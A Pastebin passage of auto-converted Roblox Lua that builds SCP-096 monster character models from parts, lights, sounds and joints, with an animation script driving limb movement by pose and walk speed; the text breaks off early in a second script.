Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Part1 = Instance.new("Part")
- Part2 = Instance.new("Part")
- Part3 = Instance.new("Part")
- BodyGyro4 = Instance.new("BodyGyro")
- PointLight5 = Instance.new("PointLight")
- PointLight6 = Instance.new("PointLight")
- PointLight7 = Instance.new("PointLight")
- PointLight8 = Instance.new("PointLight")
- PointLight9 = Instance.new("PointLight")
- Motor6D10 = Instance.new("Motor6D")
- Motor6D11 = Instance.new("Motor6D")
- Motor6D12 = Instance.new("Motor6D")
- Motor6D13 = Instance.new("Motor6D")
- Motor6D14 = Instance.new("Motor6D")
- Part15 = Instance.new("Part")
- Part16 = Instance.new("Part")
- Sound17 = Instance.new("Sound")
- Sound18 = Instance.new("Sound")
- Sound19 = Instance.new("Sound")
- Sound20 = Instance.new("Sound")
- SpecialMesh21 = Instance.new("SpecialMesh")
- SpecialMesh22 = Instance.new("SpecialMesh")
- Weld23 = Instance.new("Weld")
- Weld24 = Instance.new("Weld")
- Part25 = Instance.new("Part")
- Humanoid26 = Instance.new("Humanoid")
- CharacterMesh27 = Instance.new("CharacterMesh")
- Hat28 = Instance.new("Hat")
- Part29 = Instance.new("Part")
- SpecialMesh30 = Instance.new("SpecialMesh")
- Part31 = Instance.new("Part")
- Motor6D32 = Instance.new("Motor6D")
- Script33 = Instance.new("Script")
- Script34 = Instance.new("Script")
- Script35 = Instance.new("Script")
- StringValue36 = Instance.new("StringValue")
- Animation37 = Instance.new("Animation")
- StringValue38 = Instance.new("StringValue")
- Animation39 = Instance.new("Animation")
- StringValue40 = Instance.new("StringValue")
- Animation41 = Instance.new("Animation")
- NumberValue42 = Instance.new("NumberValue")
- Animation43 = Instance.new("Animation")
- NumberValue44 = Instance.new("NumberValue")
- StringValue45 = Instance.new("StringValue")
- Animation46 = Instance.new("Animation")
- StringValue47 = Instance.new("StringValue")
- Animation48 = Instance.new("Animation")
- StringValue49 = Instance.new("StringValue")
- Animation50 = Instance.new("Animation")
- StringValue51 = Instance.new("StringValue")
- Animation52 = Instance.new("Animation")
- Script53 = Instance.new("Script")
- BodyColors54 = Instance.new("BodyColors")
- CharacterMesh55 = Instance.new("CharacterMesh")
- CharacterMesh56 = Instance.new("CharacterMesh")
- CharacterMesh57 = Instance.new("CharacterMesh")
- CharacterMesh58 = Instance.new("CharacterMesh")
- Hat59 = Instance.new("Hat")
- Part60 = Instance.new("Part")
- SpecialMesh61 = Instance.new("SpecialMesh")
- Model62 = Instance.new("Model")
- Part63 = Instance.new("Part")
- Part64 = Instance.new("Part")
- Part65 = Instance.new("Part")
- BodyGyro66 = Instance.new("BodyGyro")
- PointLight67 = Instance.new("PointLight")
- PointLight68 = Instance.new("PointLight")
- PointLight69 = Instance.new("PointLight")
- PointLight70 = Instance.new("PointLight")
- PointLight71 = Instance.new("PointLight")
- Motor6D72 = Instance.new("Motor6D")
- Motor6D73 = Instance.new("Motor6D")
- Motor6D74 = Instance.new("Motor6D")
- Motor6D75 = Instance.new("Motor6D")
- Motor6D76 = Instance.new("Motor6D")
- Part77 = Instance.new("Part")
- Part78 = Instance.new("Part")
- SpecialMesh79 = Instance.new("SpecialMesh")
- Sound80 = Instance.new("Sound")
- Sound81 = Instance.new("Sound")
- Sound82 = Instance.new("Sound")
- Sound83 = Instance.new("Sound")
- SpecialMesh84 = Instance.new("SpecialMesh")
- Weld85 = Instance.new("Weld")
- Weld86 = Instance.new("Weld")
- Weld87 = Instance.new("Weld")
- Part88 = Instance.new("Part")
- Humanoid89 = Instance.new("Humanoid")
- Hat90 = Instance.new("Hat")
- Part91 = Instance.new("Part")
- SpecialMesh92 = Instance.new("SpecialMesh")
- Hat93 = Instance.new("Hat")
- Part94 = Instance.new("Part")
- SpecialMesh95 = Instance.new("SpecialMesh")
- Hat96 = Instance.new("Hat")
- Part97 = Instance.new("Part")
- SpecialMesh98 = Instance.new("SpecialMesh")
- Decal99 = Instance.new("Decal")
- Decal100 = Instance.new("Decal")
- Decal101 = Instance.new("Decal")
- Decal102 = Instance.new("Decal")
- Decal103 = Instance.new("Decal")
- Part104 = Instance.new("Part")
- Motor6D105 = Instance.new("Motor6D")
- Script106 = Instance.new("Script")
- Script107 = Instance.new("Script")
- Script108 = Instance.new("Script")
- StringValue109 = Instance.new("StringValue")
- Animation110 = Instance.new("Animation")
- StringValue111 = Instance.new("StringValue")
- Animation112 = Instance.new("Animation")
- StringValue113 = Instance.new("StringValue")
- Animation114 = Instance.new("Animation")
- NumberValue115 = Instance.new("NumberValue")
- Animation116 = Instance.new("Animation")
- NumberValue117 = Instance.new("NumberValue")
- StringValue118 = Instance.new("StringValue")
- Animation119 = Instance.new("Animation")
- StringValue120 = Instance.new("StringValue")
- Animation121 = Instance.new("Animation")
- StringValue122 = Instance.new("StringValue")
- Animation123 = Instance.new("Animation")
- StringValue124 = Instance.new("StringValue")
- Animation125 = Instance.new("Animation")
- Script126 = Instance.new("Script")
- BodyColors127 = Instance.new("BodyColors")
- CharacterMesh128 = Instance.new("CharacterMesh")
- CharacterMesh129 = Instance.new("CharacterMesh")
- CharacterMesh130 = Instance.new("CharacterMesh")
- CharacterMesh131 = Instance.new("CharacterMesh")
- CharacterMesh132 = Instance.new("CharacterMesh")
- Model133 = Instance.new("Model")
- Part134 = Instance.new("Part")
- Part135 = Instance.new("Part")
- Part136 = Instance.new("Part")
- BodyGyro137 = Instance.new("BodyGyro")
- PointLight138 = Instance.new("PointLight")
- PointLight139 = Instance.new("PointLight")
- PointLight140 = Instance.new("PointLight")
- PointLight141 = Instance.new("PointLight")
- PointLight142 = Instance.new("PointLight")
- Motor6D143 = Instance.new("Motor6D")
- Motor6D144 = Instance.new("Motor6D")
- Motor6D145 = Instance.new("Motor6D")
- Motor6D146 = Instance.new("Motor6D")
- Motor6D147 = Instance.new("Motor6D")
- Part148 = Instance.new("Part")
- Part149 = Instance.new("Part")
- Sound150 = Instance.new("Sound")
- Sound151 = Instance.new("Sound")
- Sound152 = Instance.new("Sound")
- Sound153 = Instance.new("Sound")
- SpecialMesh154 = Instance.new("SpecialMesh")
- SpecialMesh155 = Instance.new("SpecialMesh")
- Weld156 = Instance.new("Weld")
- Weld157 = Instance.new("Weld")
- Weld158 = Instance.new("Weld")
- Part159 = Instance.new("Part")
- Humanoid160 = Instance.new("Humanoid")
- Hat161 = Instance.new("Hat")
- Part162 = Instance.new("Part")
- SpecialMesh163 = Instance.new("SpecialMesh")
- Hat164 = Instance.new("Hat")
- Part165 = Instance.new("Part")
- SpecialMesh166 = Instance.new("SpecialMesh")
- Hat167 = Instance.new("Hat")
- Part168 = Instance.new("Part")
- SpecialMesh169 = Instance.new("SpecialMesh")
- Decal170 = Instance.new("Decal")
- Decal171 = Instance.new("Decal")
- Decal172 = Instance.new("Decal")
- Decal173 = Instance.new("Decal")
- Decal174 = Instance.new("Decal")
- Part175 = Instance.new("Part")
- Motor6D176 = Instance.new("Motor6D")
- Script177 = Instance.new("Script")
- Script178 = Instance.new("Script")
- Script179 = Instance.new("Script")
- StringValue180 = Instance.new("StringValue")
- Animation181 = Instance.new("Animation")
- StringValue182 = Instance.new("StringValue")
- Animation183 = Instance.new("Animation")
- StringValue184 = Instance.new("StringValue")
- Animation185 = Instance.new("Animation")
- NumberValue186 = Instance.new("NumberValue")
- Animation187 = Instance.new("Animation")
- NumberValue188 = Instance.new("NumberValue")
- StringValue189 = Instance.new("StringValue")
- Animation190 = Instance.new("Animation")
- StringValue191 = Instance.new("StringValue")
- Animation192 = Instance.new("Animation")
- StringValue193 = Instance.new("StringValue")
- Animation194 = Instance.new("Animation")
- StringValue195 = Instance.new("StringValue")
- Animation196 = Instance.new("Animation")
- Script197 = Instance.new("Script")
- BodyColors198 = Instance.new("BodyColors")
- CharacterMesh199 = Instance.new("CharacterMesh")
- CharacterMesh200 = Instance.new("CharacterMesh")
- CharacterMesh201 = Instance.new("CharacterMesh")
- CharacterMesh202 = Instance.new("CharacterMesh")
- CharacterMesh203 = Instance.new("CharacterMesh")
- Model0.Name = "Giant SCP-096"
- Model0.Parent = mas
- Model0.PrimaryPart = Part16
- Part1.Name = "Left Arm"
- Part1.Parent = Model0
- Part1.Material = Enum.Material.SmoothPlastic
- Part1.BrickColor = BrickColor.new("Institutional white")
- Part1.CanCollide = false
- Part1.Elasticity = 0
- Part1.FormFactor = Enum.FormFactor.Symmetric
- Part1.Friction = 2
- Part1.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
- Part1.CFrame = CFrame.new(33.9962082, 8.40719604, -91.0770721, 0.999993443, 2.23786084e-18, -4.37219505e-08, 1.63059246e-14, 0.99999994, 3.72994691e-07, 4.37222383e-08, -3.72994663e-07, 1)
- Part1.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part1.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part1.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part1.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part1.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part1.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part1.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part1.Position = Vector3.new(33.9962082, 8.40719604, -91.0770721)
- Part1.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part2.Name = "Left Leg"
- Part2.Parent = Model0
- Part2.Material = Enum.Material.SmoothPlastic
- Part2.BrickColor = BrickColor.new("Institutional white")
- Part2.CanCollide = false
- Part2.Elasticity = 0
- Part2.FormFactor = Enum.FormFactor.Symmetric
- Part2.Friction = 2
- Part2.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
- Part2.CFrame = CFrame.new(35.3648071, 3.91034222, -91.0770721, 0.999993443, 2.23786084e-18, 4.37002505e-08, -1.63023061e-14, 0.99999994, 3.72994691e-07, -4.37005383e-08, -3.72994663e-07, 1)
- Part2.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part2.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part2.Position = Vector3.new(35.3648071, 3.91034222, -91.0770721)
- Part2.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part3.Name = "Torso"
- Part3.Parent = Model0
- Part3.Material = Enum.Material.SmoothPlastic
- Part3.BrickColor = BrickColor.new("Institutional white")
- Part3.Elasticity = 0
- Part3.FormFactor = Enum.FormFactor.Symmetric
- Part3.Friction = 2
- Part3.Size = Vector3.new(3.91030979, 3.91030765, 1.9551549)
- Part3.CFrame = CFrame.new(36.3423767, 9.77580357, -91.0770721, 0.999993443, 2.23786105e-18, -1.08500934e-11, 1.8092754e-18, 1, 3.72994691e-07, 1.08500448e-11, -3.72994691e-07, 1)
- Part3.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part3.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part3.Position = Vector3.new(36.3423767, 9.77580357, -91.0770721)
- Part3.Color = Color3.new(0.972549, 0.972549, 0.972549)
- BodyGyro4.Parent = Part3
- BodyGyro4.P = 10000
- PointLight5.Parent = Part3
- PointLight5.Color = Color3.new(1, 0, 0)
- PointLight5.Brightness = 5.0000000692421e+23
- PointLight5.Color = Color3.new(1, 0, 0)
- PointLight6.Parent = Part3
- PointLight6.Color = Color3.new(1, 0, 0)
- PointLight6.Brightness = 5.0000000692421e+23
- PointLight6.Color = Color3.new(1, 0, 0)
- PointLight7.Parent = Part3
- PointLight7.Color = Color3.new(1, 0, 0)
- PointLight7.Brightness = 5.0000000692421e+23
- PointLight7.Color = Color3.new(1, 0, 0)
- PointLight8.Parent = Part3
- PointLight8.Color = Color3.new(1, 0, 0)
- PointLight8.Brightness = 5.0000000692421e+23
- PointLight8.Color = Color3.new(1, 0, 0)
- PointLight9.Parent = Part3
- PointLight9.Color = Color3.new(1, 0, 0)
- PointLight9.Brightness = 5.0000000692421e+23
- PointLight9.Color = Color3.new(1, 0, 0)
- Motor6D10.Name = "Left Shoulder"
- Motor6D10.Parent = Part3
- Motor6D10.C0 = CFrame.new(3.32376313, 2.34618473, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Motor6D10.C1 = CFrame.new(0.977577448, 0.977576911, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
- Motor6D10.Part0 = Part1
- Motor6D10.Part1 = Part3
- Motor6D11.Name = "Right Shoulder"
- Motor6D11.Parent = Part3
- Motor6D11.C0 = CFrame.new(-3.32376313, 2.34618473, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Motor6D11.C1 = CFrame.new(-0.977577448, 0.977576911, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
- Motor6D11.Part0 = Part25
- Motor6D11.Part1 = Part3
- Motor6D12.Name = "Left Hip"
- Motor6D12.Parent = Part3
- Motor6D12.C0 = CFrame.new(-0.977577448, -3.91030765, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Motor6D12.C1 = CFrame.new(0, 1.95515382, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
- Motor6D12.Part0 = Part3
- Motor6D12.Part1 = Part2
- Motor6D13.Name = "Right Hip"
- Motor6D13.Parent = Part3
- Motor6D13.C0 = CFrame.new(0.977577448, -3.91030765, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Motor6D13.C1 = CFrame.new(0, 1.95515382, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
- Motor6D13.Part0 = Part3
- Motor6D13.Part1 = Part15
- Motor6D14.Name = "Neck"
- Motor6D14.Parent = Part3
- Motor6D14.C0 = CFrame.new(0, 1.95515382, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D14.C1 = CFrame.new(0, -0.977576911, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D14.Part0 = Part3
- Motor6D14.Part1 = Part16
- Part15.Name = "Right Leg"
- Part15.Parent = Model0
- Part15.Material = Enum.Material.SmoothPlastic
- Part15.BrickColor = BrickColor.new("Institutional white")
- Part15.CanCollide = false
- Part15.Elasticity = 0
- Part15.FormFactor = Enum.FormFactor.Symmetric
- Part15.Friction = 2
- Part15.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
- Part15.CFrame = CFrame.new(37.3199463, 3.91034222, -91.0770721, 0.999993443, 2.23786084e-18, -4.37219505e-08, 1.63059246e-14, 0.99999994, 3.72994691e-07, 4.37222383e-08, -3.72994663e-07, 1)
- Part15.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part15.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part15.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part15.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part15.Position = Vector3.new(37.3199463, 3.91034222, -91.0770721)
- Part15.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part16.Name = "Head"
- Part16.Parent = Model0
- Part16.Material = Enum.Material.SmoothPlastic
- Part16.BrickColor = BrickColor.new("Institutional white")
- Part16.Elasticity = 0
- Part16.FormFactor = Enum.FormFactor.Symmetric
- Part16.Friction = 2
- Part16.Size = Vector3.new(3.91030979, 1.95515382, 1.9551549)
- Part16.CFrame = CFrame.new(36.3423767, 12.7085342, -91.0770721, 0.999993324, 2.23786105e-18, -1.08500934e-11, 1.8092752e-18, 1, 3.72994691e-07, 1.0850044e-11, -3.72994691e-07, 1)
- Part16.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part16.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part16.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part16.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part16.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part16.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part16.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part16.Position = Vector3.new(36.3423767, 12.7085342, -91.0770721)
- Part16.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Sound17.Name = "Damage5"
- Sound17.Parent = Part16
- Sound17.Pitch = 0.69999998807907
- Sound17.SoundId = "rbxassetid://256509968"
- Sound17.Volume = 1
- Sound18.Name = "Idle"
- Sound18.Parent = Part16
- Sound18.Pitch = 0.69999998807907
- Sound18.SoundId = "rbxassetid://893111990"
- Sound18.Volume = 1
- Sound18.Looped = true
- Sound19.Name = "Scream"
- Sound19.Parent = Part16
- Sound19.Pitch = 0.69999998807907
- Sound19.SoundId = "rbxassetid://254933782"
- Sound19.Volume = 1
- Sound19.Looped = true
- Sound20.Name = "Panic"
- Sound20.Parent = Part16
- Sound20.Pitch = 0.69999998807907
- Sound20.SoundId = "rbxassetid://325080827"
- Sound20.Volume = 1
- SpecialMesh21.Parent = Part16
- SpecialMesh22.Name = "HeadMesh"
- SpecialMesh22.Parent = Part16
- SpecialMesh22.MeshId = "rbxassetid://36869983"
- SpecialMesh22.Scale = Vector3.new(2.5656848, 3.20710516, 2.5656848)
- SpecialMesh22.TextureId = "rbxassetid://367967552"
- SpecialMesh22.MeshType = Enum.MeshType.FileMesh
- SpecialMesh22.Scale = Vector3.new(2.5656848, 3.20710516, 2.5656848)
- Weld23.Name = "HeadWeld"
- Weld23.Parent = Part16
- Weld23.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld23.C1 = CFrame.new(0.200000003, -0.449999988, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
- Weld23.Part0 = Part16
- Weld23.Part1 = Part29
- Weld24.Name = "HeadWeld"
- Weld24.Parent = Part16
- Weld24.C0 = CFrame.new(0, 0.5, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld24.C1 = CFrame.new(-0.200000003, -0.419999987, 0.300000012, 1, 0, 0, 0, 0.00100100052, -0.999999523, -0, 0.999999523, 0.00100100052)
- Weld24.Part0 = Part16
- Weld24.Part1 = Part60
- Part25.Name = "Right Arm"
- Part25.Parent = Model0
- Part25.Material = Enum.Material.SmoothPlastic
- Part25.BrickColor = BrickColor.new("Institutional white")
- Part25.CanCollide = false
- Part25.Elasticity = 0
- Part25.FormFactor = Enum.FormFactor.Symmetric
- Part25.Friction = 2
- Part25.Size = Vector3.new(1.9551549, 7.82061529, 1.9551549)
- Part25.CFrame = CFrame.new(38.6885452, 8.40719604, -91.0770721, 0.999993443, 2.23786084e-18, 4.37002505e-08, -1.63023061e-14, 0.99999994, 3.72994691e-07, -4.37005383e-08, -3.72994663e-07, 1)
- Part25.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part25.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part25.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part25.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part25.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part25.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part25.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part25.Position = Vector3.new(38.6885452, 8.40719604, -91.0770721)
- Part25.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Humanoid26.Name = "SCP"
- Humanoid26.Parent = Model0
- Humanoid26.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
- Humanoid26.HealthDisplayDistance = 0
- Humanoid26.NameDisplayDistance = 0
- Humanoid26.NameOcclusion = Enum.NameOcclusion.EnemyOcclusion
- Humanoid26.RightLeg = Part15
- Humanoid26.LeftLeg = Part2
- Humanoid26.Torso = Part31
- Humanoid26.Health = inf
- Humanoid26.MaxHealth = inf
- Humanoid26.WalkSpeed = 10
- CharacterMesh27.Name = "SCP-096 Torso"
- CharacterMesh27.Parent = Model0
- CharacterMesh27.MeshId = 27493004
- CharacterMesh27.BaseTextureId = 255693950
- CharacterMesh27.BodyPart = Enum.BodyPart.Torso
- CharacterMesh27.OverlayTextureId = 255693950
- Hat28.Name = "Eye"
- Hat28.Parent = Model0
- Hat28.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
- Hat28.AttachmentPos = Vector3.new(0.200000003, -0.449999988, 0.300000012)
- Hat28.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
- Part29.Name = "Handle"
- Part29.Parent = Hat28
- Part29.Material = Enum.Material.Neon
- Part29.BrickColor = BrickColor.new("Really red")
- Part29.Rotation = Vector3.new(-89.9399948, 0, 0)
- Part29.CanCollide = false
- Part29.Elasticity = 0
- Part29.FormFactor = Enum.FormFactor.Custom
- Part29.Friction = 2
- Part29.Size = Vector3.new(1.92220402, 1.92126131, 1.92126632)
- Part29.CFrame = CFrame.new(36.1423798, 12.9089851, -91.5273743, 0.999993324, 1.08500882e-11, -1.08587117e-14, 1.8092752e-18, 0.00100062753, 0.999999523, 1.0850044e-11, -0.999999523, 0.00100062753)
- Part29.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part29.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part29.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part29.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part29.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part29.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part29.Color = Color3.new(1, 0, 0)
- Part29.Position = Vector3.new(36.1423798, 12.9089851, -91.5273743)
- Part29.Orientation = Vector3.new(-89.9399948, 0, 0)
- Part29.Color = Color3.new(1, 0, 0)
- SpecialMesh30.Parent = Part29
- SpecialMesh30.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
- SpecialMesh30.MeshType = Enum.MeshType.Sphere
- SpecialMesh30.Scale = Vector3.new(0.568191171, 0.420882225, 0.420882314)
- Part31.Name = "HumanoidRootPart"
- Part31.Parent = Model0
- Part31.Material = Enum.Material.SmoothPlastic
- Part31.BrickColor = BrickColor.new("Really red")
- Part31.Transparency = 1
- Part31.CanCollide = false
- Part31.Elasticity = 0
- Part31.FormFactor = Enum.FormFactor.Symmetric
- Part31.Friction = 2
- Part31.Size = Vector3.new(3.91030979, 3.91030765, 1.9551549)
- Part31.CFrame = CFrame.new(36.3423767, 9.77580357, -91.0770721, 0.999993563, 2.23786105e-18, -1.08500934e-11, 1.80927561e-18, 1, 3.72994691e-07, 1.08500457e-11, -3.72994691e-07, 1)
- Part31.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part31.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part31.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part31.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part31.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part31.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part31.Color = Color3.new(1, 0, 0)
- Part31.Position = Vector3.new(36.3423767, 9.77580357, -91.0770721)
- Part31.Color = Color3.new(1, 0, 0)
- Motor6D32.Name = "RootJoint"
- Motor6D32.Parent = Part31
- Motor6D32.C0 = CFrame.new(0, 0, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D32.C1 = CFrame.new(0, 0, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D32.Part0 = Part31
- Motor6D32.Part1 = Part3
- Script33.Name = "MainAnimation"
- Script33.Parent = Model0
- table.insert(cors,sandbox(Script33,function()
- --[[ By: Brutez. ]]--
- local FreeSCP096AnimationScript=script;
- local FreeSCP096=FreeSCP096AnimationScript.Parent
- local FreeSCP096Humanoid=nil;
- local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso")
- local RightShoulder=FreeSCP096Torso:FindFirstChild("Right Shoulder")
- local LeftShoulder=FreeSCP096Torso:FindFirstChild("Left Shoulder")
- local RightHip=FreeSCP096Torso:FindFirstChild("Right Hip")
- local LeftHip=FreeSCP096Torso:FindFirstChild("Left Hip")
- local Neck=FreeSCP096Torso:FindFirstChild("Neck")
- local pose="Standing";
- for _,Child in pairs(FreeSCP096:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FreeSCP096Humanoid=Child;
- end
- end
- function onRunning(speed)
- if speed>0.001 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- pose = "Jumping"
- end
- function onClimbing()
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function moveJump()
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- RightHip.DesiredAngle = 0
- LeftHip.DesiredAngle = 0
- end
- function moveFreeFall()
- RightShoulder.MaxVelocity = 1
- LeftShoulder.MaxVelocity = 1
- RightShoulder.DesiredAngle = 4
- LeftShoulder.DesiredAngle = -4
- RightHip.DesiredAngle = 1
- LeftHip.DesiredAngle = 1
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder.DesiredAngle = 3.14 /2
- LeftShoulder.DesiredAngle = -3.14 /2
- RightHip.DesiredAngle = 1/2
- LeftHip.DesiredAngle = -1/2
- end
- function move(time)
- local amplitude
- local frequency
- if (pose == "Jumping") then
- moveJump()
- return
- end
- if (pose == "FreeFall") then
- moveFreeFall()
- return
- end
- if (pose == "Seated") then
- moveSit()
- return
- end
- local climbFudge = 0
- if (pose == "Running") then
- RightShoulder.MaxVelocity = 0.2
- LeftShoulder.MaxVelocity = 0.2
- RightHip.MaxVelocity = 0.2
- LeftHip.MaxVelocity = 0.2
- if FreeSCP096Humanoid.WalkSpeed~=35 then
- amplitude = 0.4
- frequency = 4
- else
- amplitude = 2
- frequency = 12
- end
- elseif (pose == "Climbing") then
- RightShoulder.MaxVelocity = 0.3
- LeftShoulder.MaxVelocity = 0.3
- RightHip.MaxVelocity = 1
- LeftHip.MaxVelocity = 1
- amplitude = 0.4
- frequency = 6
- climbFudge = 3.14
- else
- amplitude = 0.1
- frequency = 1
- end
- local desiredAngle=amplitude*math.sin(time*frequency);
- if FreeSCP096Humanoid.WalkSpeed==1 then --Panic
- RightShoulder.MaxVelocity = 0.05
- LeftShoulder.MaxVelocity = 0.05
- RightShoulder.DesiredAngle = 3.14
- LeftShoulder.DesiredAngle = -3.14
- end
- if FreeSCP096Humanoid.WalkSpeed>10 then
- RightShoulder.MaxVelocity = 5
- LeftShoulder.MaxVelocity = 5
- RightShoulder.DesiredAngle = 1.57
- LeftShoulder.DesiredAngle = -1.57
- RightHip.MaxVelocity = 3
- LeftHip.MaxVelocity =3
- end
- if FreeSCP096Humanoid.WalkSpeed~=1 and FreeSCP096Humanoid.WalkSpeed~=35 then
- RightShoulder.DesiredAngle=desiredAngle+climbFudge;
- LeftShoulder.DesiredAngle=desiredAngle-climbFudge;
- end
- RightHip.DesiredAngle = -desiredAngle
- LeftHip.DesiredAngle = -desiredAngle
- end
- FreeSCP096Humanoid.Died:connect(onDied)
- FreeSCP096Humanoid.Running:connect(onRunning)
- FreeSCP096Humanoid.Jumping:connect(onJumping)
- FreeSCP096Humanoid.Climbing:connect(onClimbing)
- FreeSCP096Humanoid.GettingUp:connect(onGettingUp)
- FreeSCP096Humanoid.FreeFalling:connect(onFreeFall)
- FreeSCP096Humanoid.FallingDown:connect(onFallingDown)
- FreeSCP096Humanoid.Seated:connect(onSeated)
- local nextTime=0
- local runService=game:service("RunService");
- while Wait(0)do
- local time=runService.Stepped:wait(0);
- if time>nextTime then
- move(time);
- nextTime=time;
- end;
- end;
- --[[ By: Brutez. ]]--
- end))
- Script34.Name = "Main"
- Script34.Parent = Model0
- table.insert(cors,sandbox(Script34,function()
- --[[ By: Brutez. ]]--
- local FreeSCP096Script=script;
- local FreeSCP096=FreeSCP096Script.Parent;
- local FreeSCP096Humanoid=nil;
- local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
- local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
- local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
- local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
